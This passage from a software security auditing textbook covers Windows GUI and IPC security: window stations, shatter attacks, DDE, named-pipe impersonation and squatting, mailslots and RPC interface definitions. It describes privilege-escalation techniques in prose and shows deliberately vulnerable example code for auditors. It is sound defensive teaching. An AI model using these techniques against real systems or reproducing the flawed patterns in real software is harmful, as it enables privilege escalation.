versions of Windows. The user interface (UI) is message driven; however, it's a poor choice for general-purpose IPC on modern Windows systems. This is in direct contrast to earlier versions of Windows, which used the message system to meet many IPC requirements. This change in approach is primarily because of the security issues associated with window messaging. Windows provides two types of securable GUI objects: window stations (WindowStation) and desktops (Desktop). Their architecture and caveats for their use are covered in the following sections. However, note that this security model doesn't extend to the actual Window objects. This distinction is important to make, as it helps you grasp the implicit vulnerability in a privileged process being exposed to potentially malicious input in the form of window messages. Window Stations Object The window station is the primary method of isolating GUI-based communication. It contains essential GUI information, including a private atom table (a shared collection of strings), a clipboard, windows, and one or more desktop objects. Each logon session is associated with a single window station, along with every process on a Windows system. Processes can be moved between window stations, assuming the associated tokens have adequate privileges. Windows provides a single window station for keyboard, mouse, and the primary display: Winsta0. It's referred to as the "interactive window station." Windows Terminal Services creates an additional Winsta0 for each connected terminal session. Each unique account associated with a running service has a separate window station, so all services running under the network service account share a single window station and desktop. Meanwhile, all services running under the local service account share a separate desktop and window station. The service window stations are named for the logon session identifier of the associated account. This means network services are on the Service-0x0-3e6$ window station, which corresponds to the hard-coded session identifier for the network service account. Meanwhile, local services are on the Service-0x0-3e5$ window station, which corresponds to the hard-coded session identifier for the local service account. Services that run in the context of other accounts are associated with similarly named window stations, although the session identifier is somewhat random. The discretionary access control list (DACL) on a window station is quite strict; it limits window station access to essentially the system account and the owning user. For services, the DACL is assigned when the window station is created for the service account. For Winsta0, an access control entry (ACE) for the user's security ID (SID) is added to the DACL at logon and removed at logoff. One interesting twist occurs when The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 706 a process is started in a context other than the window station's owner, such as through the RunAs service. In this case, the ACL of the window station isn't modified; instead, the process inherits an open handle to the window station from the parent process. Therefore, communication is allowed without violating security requirements. The Desktop Object A desktop object is a securable UI object that functions as a display surface for attached threads; every thread on the system is associated with a single desktop. Desktops exist as objects inside a window station, and a window station can contain any number of Desktops, although there are only two common configurations: Winsta0 and service window stations. Winsta0 contains three desktop objects: default (the interactive user desktop), Winlogon (the logon screen desktop), and the screen saver. Service window stations typically have only a default desktop. The access control on a desktop determines which users can manipulate the display surface. Although it's important that attackers can't read a victim's screen arbitrarily, the standard DACL addresses this concern reasonably well. What a desktop doesn't handle is actually more interesting. That is, a desktop doesn't affect processing of window messages. A window is associated with a desktop at creation, but it's just a tag for display purposes. The actual messaging is handled via the window station, so you don't need to be very concerned with desktops in code auditing because they don't affect how input is processed. Window Messages Before you dig into the hazards of Windows messaging, you need some background on how everything works, especially if you've never programmed for Windows before. This section explains the basics of a windowed program. Readers already familiar with UI programming in Windows can choose to skip to the next section. UI windows receive events through the use of window messages that have the following structure: typedef struct { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD time; POINT pt; } MSG, *PMSG; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 707 The message member indicates the type of event the target window is being informed of. The wParam and lParam values specify additional information about the message. The interpretation of these fields depends on the type of message. Finally, the time parameter indicates when the message was posted, and the pt variable indicates the coordinates of the mouse at the time the message was posted. Most message-handling routines are concerned only with the message, wParam, and lParam members, which are passed as separate parameters instead of being part of a single MSG structure parameter. The OS delivers messages to windows in a first in, first out (FIFO) queue. These messages can be generated by system events, such as mouse movements or key presses. They can also be generated by other threads on the same desktop. Window messages control most aspects of the UI, including clipboard operations and the properties of a window. These are the four essential steps in creating a functional windowed application: 1. Creating a WindowProc() function to handle messages. 2. Defining a class that associates this WindowProc() to a window type. 3. Creating an instance of the Window class. 4. Creating a message-processing loop The first step in creating a window is to create the WindowProc() function, which handles all the messaging. The following code is a simple WindowProc() function that demonstrates the basic layout: int MainWindowProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { switch(iMsg) { case WM_CREATE: // Initialize return 0; ... handle additional messages here ... case WM_DESTROY: // Exit on WM_DESTROY return PostQuitMessage( 0 ); default: return DefWindowProc(hWnd,iMsg,wParam,lParam); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 708 } } As you can see, this function is primarily just a switch statement for handling window messages passed via the iMsg parameter. This example shows processing for the WM_CREATE and WM_QUIT messages, although it doesn't do much with them. The default message handler, DefWindowProc(), does most of the heavy lifting. It's the default case in the switch statement that handles all system messages and other messages not explicitly handled by the application, which make up the bulk of the message traffic. Now that you understand a bit about the handler, you need to see how it's registered with the system. This registration is done with the RegisterClassEx() function, which associates a name with the handler in the context of a process. The following code is a simple function that registers the handler created in the previous example: BOOL InitClass(HINSTANCE hInst) { WNDCLASSEX wc; // Defines the class ZeroMemory(&wc, sizeof(wnd)); wc.hInstance = hInst; wc.lpszClassName = "Main"; wc.lpfnWndProc = ( WNDPROC ) MainWindowProc; wc.cbSize = sizeof(WNDCLASSEX); return RegisterClassEx( &wnd ); } After the handler is registered, the final two steps are to create the window and start the window's message pump, as shown in the following code: int APIENTRY WinMain( HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow ) { WINDOW hwnd; InitClass(hInst); // Create a message-only window hwnd = CreateWindow( "Main", "Main", 0, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0 ); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 709 // This is the message pump while( GetMessage( &msg, 0, 0, 0 ) && GetMessage(&msg, (HWND) NULL, 0, 0) != -1) { TranslateMessage( &msg ); DispatchMessage( &msg ); } return msg.wParam; } This example shows the standard window message pump. The GetMessage() call simply blocks until it receives a message. It's followed by the translateMessage() call, which queues up and translates a series of virtual key signals (from keyboard input) and sends them as a single character string. Finally, the DispatchMessage() call forwards the message on to the appropriate WindowProc(). The code passes the HWND_MESSAGE parameter to CreateWindow(), which creates a message-only window. This type of window is never displayed; it just exists so that a process can receive and handle window messages. This window type was chosen for two reasons. First, it's the shortest one, which keeps you from being distracted with unnecessary details. Second, and more important, this type of window is used by services that accept window message input. You should be familiar with this window type because it's associated with the kinds of applications attackers target. There's one final function to mention, which is SendMessage(): LRESULT SendMessage(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam ); This function doesn't matter when you're reviewing code, but you need to be familiar with it to understand exploits associated with window messages. This function simply accepts a handle to a window, a message ID, and two parameters that are interpreted differently, depending on the message type. You've already seen the WM_CREATE and WM_QUIT messages, and the WM_TIMER and WM_PASTE messages are explained in the next section. Note that any process with a handle to a window station can send messages to any other window on a desktop object within that window station. All that's needed is a simple call to SendMessage(). Shatter Attacks The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 710 You might be wondering why the previous sections have gone through a whirlwind introduction to the Windows GUI. After all, the basic shatter attack was described in Chapter 2(? [????.]), "Design Review," so the concept should be clear. However, it's important to understand the extent of this issue. The Windows API ties a lot of functionality into a simple, unprotected, messaging architecture. Every aspect of the user interface is controlled by window messages, and the design of the API provides no method of restricting or verifying a message source. Of course, attackers must have access to a window station before they can send messages, but after they do, the potential for exploit can be fairly open ended. The original shatter attack exploited window message design by sending a WM_PASTE message to a privileged process with a message pump on the same window station. The WM_PASTE message allows attackers to place a buffer of shell code in the address space of the privileged process. The attack is then completed by sending a WM_TIMER message that includes the address of the shell code buffer. The default handler for the WM_TIMER message simply accepts the address parameter as a function pointer, and then immediately runs the code that's pointed to. The result is a straightforward privilege escalation performed by running arbitrary code in the context of a privileged process. The immediate response to the shatter vulnerability was to simply filter the WM_TIMER message in any privileged process interacting with a user's desktop. Unfortunately, the WM_TIMER message is just a symptom of the problem. The reality is that many messages allow manipulation of memory in a target process's address space or could lead to arbitrary execution. Brett Moore demonstrated a number of these messages in a speech at the Blackhat security conference (http://blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moorew hitepaper.pdf). However, there are certainly new exploitable messages that have yet to be considered. Plus, there are unique exploit vectors in each windowed process, which make it unreasonable to expect developers to anticipate every one. The root of the problem is that a privileged process, or specifically a service, can't safely interact with a potentially hostile desktop. As a code auditor, you need to identify situations that cause a privileged service to interact with normal user desktops. This interaction can happen in two basic ways. The first is a simple operational concern; you just need to check the properties for a service and make sure the service isn't interactive. To do this, use the Services Microsoft Management Console (MMC) to open the Properties dialog box for the service. Then check the "Log On" tab to see whether the "Allow Service to Interact with Desktop" option is selected. If it is, the service is potentially vulnerable to a shatter attack. Figure 12-1 shows the Properties dialog box for the Windows Task Scheduler, which is an interactive service. Figure 12-1. An interactive Windows service The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 711 Services can use another method to interact with a user desktop; they can manually create a thread and window on the user's desktop. The following code shows this process: HWINSTA hWinsta; HDESK hDesk; hWinsta = OpenWindowStation("Winsta0", FALSE, MAXIMUM_ALLOWED); SetProcessWindowStation(hwinsta); hdesk = OpenDesktop("default", 0, FALSE, MAXIMUM_ALLOWED); SetThreadDesktop(hDesk); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 712 For brevity's sake, the error checking has been left out, but this code is essentially how a service sets up a thread on a normal user's desktop. This code simply opens a handle to Winsta0 and then uses the returned handle to open the default desktop. The current thread is then switched to this desktop, and the thread can interact with the logged-on user's desktop. Of course, the thread isn't vulnerable until it starts processing messages. Fortunately, you know how to identify that because you walked through a message window setup earlier. However, don't discount the existence of a message window just because you can't see it. For instance, certain COM applications can create background message windows (as explained in "COM(? [????.])" later in this chapter), so you need to be aware of these possibilities. To summarize, when you audit a service, you should perform the following steps to identify potential shatter-attack exposures: 1. Check the MMC snap-in for the service to see whether it runs as the interactive user. 2. Examine the code to determine whether it manually attaches to the interactive user's desktop. 3. If either case is true, determine whether a message pump is in operation for receiving window messages. If a message pump is in operation, you can consider the application to be at risk. DDE Dynamic Data Exchange (DDE) is a legacy form of IPC that exchanges data by using a combination of window messages and shared memory. It's done in one of two ways. This first requires handling WM_DDE_* window messages with the PackDDElParam() and UnpackDDElParam() functions. The second method uses the DDE Management Library (DDEML) API, which includes a set of Dde* functions that wrap the window message handling. You can refer to the MSDN for more particulars on using DDE communications. DDE was a common form of IPC in earlier versions of Windows, but it has been mostly superseded by more robust mechanisms. DDE has no real security impact when used to establish communication between processes with the same security context. However, it can be used to establish communication between different user contexts on a shared window station or even exchange data over a network by using file shares. Just to make it more confusing, DDE supports impersonation of clients in a DDE communication. What you need to keep in mind is that any use of DDE between security contexts represents a potential shatter vulnerability. This includes network DDE, which requires a privileged service on the desktop. So vulnerable uses of DDE include the same type of setup as the shatter attacks described previously. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 713 Terminal Sessions Windows Terminal Services (WTS) provides the capability for a single Windows system to host multiple interactive user sessions. Originally, this capability was available as a separate product in Windows NT Terminal Server. However, it was eventually incorporated into the base product line in all versions of Windows XP. Terminal Services is not fully functional in most Windows XP versions, but it is a necessary component of the Remote Assistance and Fast User Switching (FUS) capabilities. The introduction of WTS required some additional framework for interacting with different connections; this requirement was addressed by the addition of terminal sessions and their associated WTS API functions. Terminal sessions place additional restrictions on the interaction between processes in different sessions. For example, each terminal session has a unique Winsta0 associated with it, and objects are distinguished between sessions by using the Global\ and Local\ namespace prefixes. This naming setup allows the standard API functions to still work as expected, while the WTS API can be used for WTS-specific manipulation. Versions of WTS before the Vista release have an interesting quirk. They run all services in session 0, which is the first session the system creates. It also happens to be the same session used by the first interactively logged-on user. Running all services in session 0 unintentionally grants some extra privilege to the console user on a terminal server and the first user on an FUS-enabled system. The main impact is that a session 0 user can communicate with interactive services. As mentioned, an interactive service represents a serious vulnerability that could allow attackers to run arbitrary code in the context of a privileged service account. Windows Vista addresses this vulnerability by eliminating interactive services entirely. It restricts session 0 to services only and makes it a completely noninteractive session. You should make note that any software specifically targeting Windows Vista won't be vulnerable to the general class of shatter vulnerabilities. 7.8.4 Pipes Pipes are a connection-oriented IPC mechanism that can be used to communicate data between two or more processes. There are two types of pipes: anonymous pipes and named pipes. An anonymous pipe is a unidirectional pipe that transfers data locally between two processes. Because anonymous pipes have no names, they can't be referred to by arbitrary processes. Generally, this means only the creating process can make use of an anonymous pipe, unless the pipe handle is duplicated and passed to another process. Usually, anonymous pipes are used for communication between threads in a single process or between a parent and child process. Named pipes, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 714 conversely, can be referred to by arbitrary processes and be accessed remotely, depending on the access rights associated with the pipe when it's created. Because anonymous pipes are local and have only a few of the problems associated with named pipes, the following sections focus on named pipes. Pipe Permissions All pipes are securable objects, so they have specific access rights associated with their DACL entries. Table 12-2 summarizes the pipe permissions listed in the MSDN. Table 12-2. Pipe Access Rights Access Right Meaning PIPE_ACCESS_DUPLEX Allows the caller to read and write to the pipe and gives them SYNCHRONIZE access. PIPE_ACCESS_INBOUND Allows the caller to read from the pipe and gives them SYNCHRONIZE access. PIPE_ACCESS_OUTBOUND Allows the caller to write to the pipe and gives them SYNCHRONIZE access. As you can see, access rights for pipes are simpler than most other objects, such as files, so developers are less likely to inadvertently set incorrect permissions on a pipe. Still, vulnerabilities can result when access permissions are applied haphazardly. It might be possible for rogue processes to have read or write access to a pipe when they shouldn't, which could lead to unauthorized interaction with a pipe server. This problem can even occur with anonymous pipes because attackers can enumerate the process handle table and duplicate a handle to a pipe with weak access permissions. Named Pipes Named pipes are a multidirectional IPC mechanism for transferring data between unrelated processes on the same machine or different machines across a network. A named pipe can be uni- or bi-directional, depending on how it's created. Pipes work in a client/server architecture; pipe communications are made by having one pipe server and one or more clients. So a number of clients can be connected to a pipe simultaneously, but there can be only one server. Pipe Creation Pipes can be created by using CreateFile() or CreateNamedPipe(). You have already examined the semantics for creating and accessing pipes with CreateFile(), so you don't need to review this function again. The prototype for CreateNamedPipe() is shown as follows: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 715 HANDLE CreateNamedPipe(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes) As you can see, the CreateNamedPipe() function allows more control over certain characteristics of the named pipe than CreateFile() does. In addition to the regular attributes, developers can optionally specify an input and output buffer size for the pipe, although they are only advisory values the system isn't required to honor. The dwOpenMode value specifies which access rights the pipe should be opened with (PIPE_ACCESS_DUPLEX, PIPE_ACCESS_INBOUND, or PIPE_ACCESS_OUTBOUND). In addition, one or more flags can be specified:  FILE_FLAG_FIRST_PIPE_INSTANCE This flag causes the function to fail if the pipe already exists.  FILE_FLAG_WRITE_THROUGH On certain types of pipes where the client and server processes are on different machines, this flag causes the client to not return until all data has been written to the pipe successfully.  FILE_FLAG_OVERLAPPED Overlapped I/O is enabled; a process doesn't need to wait for operations on the pipe to finish to continue running. The dwPipeMode value specifies what type of pipe should be created. A pipe can be PIPE_TYPE_BYTE, which causes pipe data to be treated as a single-byte stream, or PIPE_TYPE_MESSAGE, which causes data to be treated as a series of separate messages. The nDefaultTimeout value specifies a timeout value in milliseconds for an operation to be performed on the pipe, and finally, lpSecurityAttributes specifies a security descriptor for the pipe. Clients that just want to send a single message to a pipe (of type PIPE_TYPE_MESSAGE) don't have to go through the whole process of opening it and closing it. Instead, they can use the CallNamedPipe() function, which has the following prototype: BOOL CallNamedPipe(LPCSTR lpNamedPipe, LPVOID lpInBuffer, DWORD nBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesRead, DWORD nTimeOut) This function opens the pipe specified by lpNamedPipe, writes a single message, reads a single response, and then closes the pipe. It's useful for clients that just need to perform a single pipe transaction. Impersonation in Pipes The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 716 A named pipe server can impersonate the credentials of client servers that connect to it. This impersonation is achieved by using the ImpersonateNamedPipeClient() function, which has the following prototype: BOOL ImpersonateNamedPipeClient(HANDLE hNamedPipe) As you can see, this function simply takes a handle to a named pipe and then returns a value of TRUE or FALSE, depending on whether impersonation is successful. If it's successful, the thread impersonates the context associated with the last message read from the pipe. The last message read requirement gets a bit sticky. If the connection is local, impersonation always fails unless data has first been read from and written to the pipe. However, if the client is remote, the impersonation might succeed because messages are transferred in establishing the connection. In either case, it's best to make sure the pipe is read from before impersonation is attempted. Next, you need to examine the use of impersonation levels. In the context of named pipes, clients can restrict the degree to which a server can impersonate them by specifying an impersonation level in the call to CreateFile(). Specifically, the impersonation level can be indicated in the dwFlagsAndAttributes parameter. Here's the CreateFile() function prototype again: HANDLE CreateFile(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwSharedMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) By including the SECURITY_SQOS_PRESENT flag in the dwFlagsAndAttributes parameter, you can specify the following impersonation flags:  SECURITY_ANONYMOUS This flag enforces the SecurityAnonymous impersonation level for the object being opened.  SECURITY_IDENTIFICATION This flag enforces the SecurityIdentification impersonation level for the object being opened.  SECURITY_IMPERSONATION This flag enforces the SecurityImpersonation impersonation level for the object being opened.  SECURITY_DELEGATION This flag enforces the SecurityDelegation impersonation level for the object being opened.  SECURITY_EFFECTIVE_ONLY This flag causes any changes made via AdjustToken*() functions to be ignored.  SECURITY_CONTEXT_TRACKING The security tracking mode is dynamic. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 717 Clients can protect their credentials from malicious servers by using these flags, so you should always be on the lookout for instances in which a client is overly permissive in the impersonation it allows. You also need to pay close attention to common oversights when applying these protections. Try to spot the bug in the following code. BOOL SecureOpenPipe(void) { HANDLE hPipe; hPipe = CreateFile("\\\\.\\pipe\\MyPipe", GENERIC_ALL, 0, NULL, OPEN_EXISTING, SECURITY_IDENTIFICATION, NULL); if(hPipe == INVALID_HANDLE_VALUE) Return FALSE; ... do pipe stuff ... } Did you see it? The developers are trying to protect the client from connecting to a malicious server by enforcing the SECURITY_IDENTIFICATION impersonation level. It's a great idea, but poor execution. They forgot to use the SECURITY_SQOS_PRESENT flag, so the SECURITY_IDENTIFICATION flag is completely ignored! A correct implementation would look like this: BOOL SecureOpenPipe(void) { HANDLE hPipe; hPipe = CreateFile("\\\\.\\pipe\\MyPipe", GENERIC_ALL, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT|SECURITY_IDENTIFICATION, NULL); if(hPipe == INVALID_HANDLE_VALUE) Return FALSE; ... do pipe stuff ... } It is also important to audit how servers might use impersonation. In "Impersonation Issues" (MSDN Code Secure, March 2003; http://msdn.microsoft.com/library/en-us/dncode/html/secure03132003.asp), Michael Howard points out the dangers of not checking return values of an The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 718 impersonation function. Say a server accepts a connection from a client and then wants to access an object on the client's behalf. To do this, it impersonates the user and then proceeds to access the object, as shown in this example: BOOL ProcessRequest(HANDLE hPipe) { BOOL rc; DWORD bytes; unsigned char buffer[BUFSIZ], fname[BUFSIZ]; for(;;) { rc = ReadFile(hPipe, buffer, BUFSIZ, &bytes, NULL); if(rc == FALSE) break; if(bytes <= 0) break; switch(buffer[0]) { case REQUEST_FILE: extract_filename(buffer, bytes, fname); ImpersonateNamedPipeClient(hPipe); write_file_to_pipe(hPipe, fname); RevertToSelf(); break; ... other request types ... } } ... more stuff here ... } This code is from a named pipe server that can receive a number of requests, one of which is for reading certain files. The code fails to check the return value of the ImpersonateNamedPipeClient() function, however. If this function fails, the application's privileges and access rights are unchanged from its original state. Therefore, a file is accessed with the original permissions of the server process instead of the connecting client's. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 719 You might be wondering "But why would impersonation functions fail? Can a malicious client prompt that?" Yes, it can. You just learned that when auditing clients, you want to look for the presence or absence of enforcing impersonation levels on the server. A malicious client could also use these levels to prohibit the server from impersonating the client. Even something as simple as failing to read from the pipe first may cause the impersonation call to fail. This failure could result in the object being accessed at a higher privilege than intended. Pipe Squatting As with many other types of objects, named pipes existing in the object namespace introduces the possibility for name-squatting vulnerabilities. Developers must be careful in deciding how applications create and access named pipes. When auditing an application, you need to look at this issue from both sides of the fence: the implications for servers that are vulnerable to name squatting and the implications for clients that are vulnerable to name squatting. Servers A server can be vulnerable to name squatting if it uses a predictable pipe name and fails to check whether the pipe has already been created. A server can also be vulnerable to name squatting if it creates a pool of pipes and uses ConnectNamedPipe() to service multiple connections. A pool of pipes is established by creating and connecting multiple instances of the same pipe and specifying the same value for nMaxInstances on each call to CreateNamedPipe(). Depending on the timing of pipe creation and connection, attackers might be able to squat on a pipe and impersonate the server. When creating a single-instance pipe using CreateFile(), a squatting vulnerability can occur in much the same way it does with files: The server neglects to use the CREATE_NEW flag in its dwCreationDisposition parameter. When CreateNamedPipe() is used for a single instance, the problem happens when the dwOpenMode parameter doesn't contain FILE_FLAG_FIRST_PIPE_INSTANCE (available only in Windows 2000 SP2 and later). Here's an example of a vulnerable call: BOOL HandlePipe(SECURITY_DESCRIPTOR *psd) { HANDLE hPipe; hPipe = CreateNamedPipe("\\\\.\\pipe\\MyPipe", PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, psd); if(hPipe == INVALID_HANDLE_VALUE The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 720 || ConnectNamedPipe(hPipe, NULL)) { CloseHandle(hPipe); return FALSE; } ... do stuff with the pipe ... DisconnectNamedPipe(); } This server fails to specify FILE_FLAG_FIRST_PIPE_INSTANCE or limit the number of connections. Therefore, attackers can create and connect to a pipe named "MyPipe" before this application. Because attackers start listening on the pipe first, the client connects to them first. Depending on timing and the number of instances allowed, the real server might receive an error or have a valid pipe handle that's last in the connection queue. If the server creates a pipe successfully and is the last thread in the connection, it can just continue along happily. It might even perform sensitive operations based on the assumption that the pipe is valid. Clients Clients are actually more susceptible to name squatting with named pipes because they might unintentionally connect to a malicious pipe server. Guardent Technologies disclosed this type of vulnerability in August 2000 (www.securityfocus.com/advisories/2472). The Windows 2000 Service Control Manager (SCM) uses a predictable named pipe for communication with services. However, the SCM didn't check for preexisting pipes when starting a service. This meant attackers could simply create the pipe and start any service that could be started by a normal user (the ClipBook service, for example). The target service would then connect to the attacker-controlled pipe and the attacker would escalate privilege by impersonating the service account. Fortunately, the introduction of the SeImpersonatePrivilege has gone a long way toward eliminating this type of impersonation vulnerability. However, it's still a viable attack for older systems and for breaking the isolation of restricted service accounts. Even without impersonation, this attack is still a successful denial of service. It also provides a trusted channel into a privileged process, which could expose sensitive data or other potential vulnerabilities. 7.8.5 Mailslots The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 721 Mailslots are another IPC mechanism offered by Windows. In contrast to named pipes, mailslots are neither connection-oriented nor bidirectional; clients simply send messages to a server process. Mailslot clients never read from a mailslot; only servers can (the server being the process that has a handle to the mailslot object). The limited functionality mailslots offer translates into much less work for code auditors. However, for the sake of completeness, the following sections run through some basics. Mailslot Permissions Mailslots don't have a unique set of access rights. Instead, they use the standard file access rights discussed in Chapter 11(? [????.]). Their permissions can be audited in the same manner as standard file permissions. Mailslot Squatting Mailslot squatting isn't possible in the same way it is with most other named objects because mailslots have only a creation function, CreateMailslot(), which fails if a mailslot of the same name already exists. The client end of a mailslot is then opened with CreateFile(), which fails if you attempt to open a mailslot that doesn't exist. There's the possibility of a client sending messages to a server it didn't intend to. This error occurs when a malicious user creates the mailslot before the server, so when the server starts and fails to create a mailslot, it simply exits, leaving the malicious mailslot in the object namespace for clients to connect to. This attack allows the rogue application to impersonate the server and read messages from clients, which could result in an information leak. 7.8.6 Remote Procedure Calls The Remote Procedure Call (RPC) is an integral part of Windows operating systems. Essentially, RPC is a client/server protocol that application developers can use to call procedures on a local or remote node. Although developers often need to direct a client application to specifically connect to a remote machine, the connection details and data marshalling are done behind the scenes by the RPC layer. This behavior shelters developers from the details of how data is passed between the two machines and the manner in which procedures are called. There are two primary RPC protocols: Open Network Computing (ONC) RPC (sometimes called SunRPC) and Distributed Computing Environment (DCE) RPC. Chapter 10(? [????.]), "UNIX II: Processes," discusses ONC RPC as it pertains to UNIX applications. Microsoft uses DCE RPC, which is quite different, but from a code-auditing perspective, the basic procedures for locating exposed code are similar. Microsoft RPC programs have some additional complications, discussed in the following sections. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 722 RPC Connections Before you get into the details of auditing RPC programs, you need to be aware of some basics of how clients and servers communicate. Before a client can call a remote procedure, it needs to create a binding to the destination interface. A binding is an application-level connection between the client and server. It contains connection details, including the authentication state, and is expressed structurally in RPC programs through binding handles. Binding handles are used to subsequently perform operations such as calling procedures, establishing authentication, and so on. The following sections refer to an endpoint mapper, which is an RPC component used to establish bindings. Most of the endpoint mapper's operation is handled implicitly from a code-auditing standpoint, so you don't need to concern yourself too much with it. Just be aware it exists and is responsible for establishing a binding between the RPC client and server. RPC Transports The Windows RPC layer is transport independent, meaning it can package its data structures on top of a variety of underlying protocols. When you see a function that takes a "protocol sequence" argument, it's referring to the protocol used to transport RPC data between two endpoints. The selected transport can definitely affect the application's security, as explained in the following sections. These RPC protocols are divided into three categories, described in the next three sections. NCACN The network computing architecture connection-oriented protocol (NCACN) is for RPC applications that need to communicate remotely across a network. Protocols in these categories are connection oriented, meaning they provide reliable, two-way, end-to-end connections for the duration of a session. Table 12-3 lists the protocols available in this category. Table 12-3. NCACN Protocol Sequences Protocol Sequence Description ncacn_nb_tcp NetBIOS over TCP ncacn_nb_ipx NetBIOS over Internetwork Packet Exchange (IPX) ncacn_nb_nb NetBIOS Enhanced User Interface (NetBEUI) ncacn_ip_tcp RPC data sent over regular TCP/IP connections ncacn_np RPC data sent over named pipes The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 723 Table 12-3. NCACN Protocol Sequences Protocol Sequence Description ncacn_spx RPC data sent over Sequenced Packet Exchange (SPX) ncacn_dnet_nsp DECnet transport ncacn_at_dsp AppleTalk DSP ncacn_vns_spp Vines scalable parallel processing transport ncacn_http RPC over HTTP (which runs on top of TCP) NCADG The network computing architecture datagram protocol (NCDAG) is also reserved for RPC applications that need to communicate with remote nodes across a network. Unlike NCACN protocols, however, the NCADG protocols provide a connectionless transport. Table 12-4 lists the valid protocol sequences. Table 12-4. NCADG Protocol Sequences Protocol Sequence Description ncadg_ip_udp RPC traffic sent over User Datagram Protocol (UDP) ncadg_ipx RPC traffic sent over IPX NCALRPC The network computing architecture local remote procedure call protocol (NCALRPC) is used by RPC applications in which the client and server reside on the same machine. Local RPC calls, also know as local procedure calls (LPC), are a function of the OS and don't require any further qualification; that is, there's no requirement for other protocols or IPC mechanisms to be used to send RPC data between the client and the server. Hence, the only protocol sequence for local RPC calls is simply ncalrpc. Microsoft Interface Definition Language When auditing RPC servers, you should start with procedures that can be called remotely with untrusted user input. A lot of RPC servers define their interface in terms of the available procedures and what arguments those procedures take. Microsoft provides Microsoft Interface Definition Language (MIDL), a simplified language for defining these interfaces. MIDL has a C-like structure, which makes it fairly easy for most programmers to use. Look for .idl files when you're reviewing code; they contain the definitions that generate C/C++ stubs for RPC applications. The structure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 724 of these files and how they produce the client and server interfaces RPC applications use are covered in the following sections. IDL File Structure An IDL file is composed of two main parts: an interface header and an interface body. These two sections define an RPC interface for a program and are quite easy to follow. IDL Interface Header An interface header appears at the beginning of an interface definition and is enclosed in square brackets ([ and ]). Within those brackets is a series of interface-specific attributes separated by commas. These attributes have the following syntax: attribute_name(attribute_arguments) For example, an attribute with the name version and the argument 1.1 would appear as version(1.1). Many attributes can be used, but the main ones are uuid, version, and endpoint. The first two simply provide the universal unique ID (UUID) of the RPC interface and the version number of the application this interface definition represents. The endpoint attribute specifies where the RPC server receives requests from. Endpoint transports are described in terms of a protocol sequence and a port. The protocol sequence describes what transports the RPC interface is accessible over. The format of the port (or, more appropriately, the endpoint) is specific to the protocol sequence. Putting all this information together, here's an example of an interface header: [ uuid(12345678-1234-1234-1234-123456789012), version(1.1), endpoint("ncacn_ip_tcp:[1234]") ] In this example, the RPC server accepts requests only via TCP/IP on port 1234. IDL Definition Body After the interface definition header is the definition body, which details all the procedures available for clients to use and the arguments those procedures take. The definition body begins with the interface keyword, followed by the interface's human-readable name and the interface definition enclosed in curly braces. Here's an example of a definition body: interface myinterface The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 725 { ... definition goes here ... } Inside the curly braces are the definitions for procedures that can be called by clients and are implemented elsewhere in the application. The remote procedure prototypes are similar to C function prototypes, except each function and argument to a function can contain additional attributes enclosed in square brackets. Again, you might encounter quite a few of these attributes, but most of them are fairly self-explanatory. Typically, the only information that needs to be indicated is whether the argument is for input (function attribute in) or output (function attribute out). An example of an interface definition is shown: interface myinterface { int RunCommand([in] int command, [in, string] unsigned char *arguments, [out, string] unsigned char *results); } This interface definition is quite simple; it provides just one interface for running a command. It fails to address some important considerations, such as authentication and maintaining session state. However, it does show what a basic interface looks like, so you can move on to the details in the following sections. Compiler Features The Microsoft IDL compiler includes a few options that can improve an RPC application's security. The range attribute provides a method for restricting the values of a numeric field. It can be used to restrict data types along with attributes such as size_is and length_is. Here's an example: interface myinterface2 { int SendCommand([in, range(0, 16)] int msg_id, [in, range(0, 1023)] int msg_len, [in, length_is(msg_len)] unsigned char *msg); } This interface restricts the value of msg_len to a known range and forces the length of msg to match. These types of rigid interface restrictions can prevent vulnerabilities in the code. Of course, defining restrictions doesn't help if the compiler does not apply The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 726 them. The /robust switch must be used as a compilation option. This compiler switch handles the range keyword and builds in additional consistency checks. This capability is available only in Windows 2000 and later. Application Configuration Files In addition to IDL files, each interface has application configuration files (ACFs). Whereas the IDL file describes an interface specification that clients and servers need to adhere to, the ACF describes attributes that are local to the client or server application and affect certain behaviors. For example, code and nocode attributes can be used in an ACF to direct the MIDL compiler to not bother generating stubs for various parts of the interface because they aren't used in this 